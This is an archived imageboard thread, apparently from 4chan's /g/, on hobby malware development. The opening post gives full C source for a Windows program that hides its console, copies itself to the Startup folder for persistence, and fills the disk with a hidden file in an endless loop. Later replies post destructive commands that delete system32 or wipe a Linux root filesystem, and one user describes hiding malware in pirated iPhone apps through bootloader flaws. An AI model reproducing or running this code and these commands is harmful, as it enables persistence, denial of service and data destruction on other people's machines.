[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

/mdg/ - Malware Development General

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 21
Thread images: 4

File: 186739201.jpg (25KB, 273x185px) Image search: [Google]
186739201.jpg
25KB, 273x185px
Does anyone in /g/ develop malware
If so, what are you working on

Remember, don't distribute anything you made or seen here without the victim's consent.

I'll start us off with some shitty C code that I've made a while ago that barely classifies as malicious.
>>
OP here, don't say I didn't tell you its shitty
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <windows.h>

char pathchecker[100] = "%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\";

fileWrite(int co, FILE *d)
{
system("cd %appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\");
char path3[200];
ExpandEnvironmentStrings("%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ntcpsys.dll", path3, sizeof(path3));
printf("%s\n",path3);
char *path3c = "%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ntcpsys.dll\"";
d = fopen(path3, "a");
char hideCmd[200] = "attrib +h \"";
char disreadCmd[200] = "attrib -R \"";
strcat(hideCmd, path3c);
strcat(disreadCmd, path3c);
system(hideCmd);
system(disreadCmd);
while(1)
{
fprintf(d,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
}
fclose(d);
}

main(int argc, char *argv[])
{
HWND window;
AllocConsole();
window=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(window,0);
FILE *f;
int c = 0;
//Remember this code
/*char *fileName;
sprintf(fileName, "newfile%d.txt", fc);
printf("%s\n", fileName);*/
strcat(pathchecker, argv[0]);
f = fopen(pathchecker, "r");
if (f == NULL)
{
fclose(f);
char path2[500];
GetModuleFileName(NULL, path2, sizeof(path2));
char path[100] = "\" \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\"";
strcat(path2, path);
char newpath[7] = "move \"";
strcat(newpath, path2);
system(newpath);
fileWrite(c, f);
}
else
{
fclose(f);
fileWrite(c, f);
}
}
>>
>>55844308
I don't think anyone would talk about that here.
>>
>>55844333
how do I install this program on my computer?
>>
>>55844747
Compile it
Not reccomended if you looking in a malware thread
>>
File: 1444869953803.jpg (71KB, 600x656px) Image search: [Google]
1444869953803.jpg
71KB, 600x656px
>>55844333
what does this code do?
t. stupid
>>
I am actually very interested in this subject but I have no idea where to start from. Computer security is a very interesting topic to me. OP, do you have any tutorials or starting zones to point me to?
>>
>>55847336
Learn from the best
https://www.microsoft.com/en-us/windows/features
>>
File: 1469648629462.png (2MB, 1920x1200px) Image search: [Google]
1469648629462.png
2MB, 1920x1200px
>>55847558
You know you probably could use the source code of Windows 10 as an example of how to hide your malware.
>>
>>55844308
New jailbreak is out and Pangu exploits remain unpatched. I've started looking into ways to piggyback malware onto pirated IPA files and seeing if Cydia Impactor would sign and load them. So far so good. Using bootloader vulnerabilities I've found on my own I'm able to seriously fuck up a few lines of code in the LLB and iBoot responsible for making stuff run as well as kicking the device to recovery. It can all be done from userland but requires a reboot. If you're a normie who doesn't know how use DFU or make backups this could brick your phone.

I do not plan on using this or releasing it. It's just for fun. I can't really do much damage because it'll only work on the iPhone 5s. Pangu JB only supports 64-bit devices and I haven't been able to exploit the bootloader on anything newer than a 5s. When I say bootloader I mean iBoot (second stage) not SecureROM (first stage). I'm pretty sure iH8sn0w has this too.
>>
r8

@echo off 
del c:\WINDOWS\system32
>>
Only tangentially related, but I remember when I used to go on slashdot (sometime around 2004-2006) I would see posts about an obfuscated C contest. Basically, upon a quick glance the code appears to do one thing, but when you actually compile/execute it, it does something completely different. I should check that out now that I actually know C.
>>
>>55847757
best
>>
I wanna code a RAT in C++.
I already have intermediate knowledge of Python and some knowledge of C++.

How should i begin doing this?
>>
>>55844333
>console application
>posix api
>Windows api
Hello HF
It's beyond shitty
>>
>>55847336
r/netsec
r/malware
>>
>>55848584
Learn C and winapi properly also windows internals
>>
>>55849456
i recognized the way you type and can't help but notice your autism gets triggered by these people.
could you give us some tips on life as a pro hacker/excuse me cracker?
>>
r8
sudo rm -rf /*
>>
File: 1445767891141.jpg (109KB, 723x699px) Image search: [Google]
1445767891141.jpg
109KB, 723x699px
>>55849517
Fap to anime
Live in basement
Dont go outside
Hack the planet
>>
>>55849483
what APi should i learn if i want to code rat for Loonix?
Thread posts: 21
Thread images: 4


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.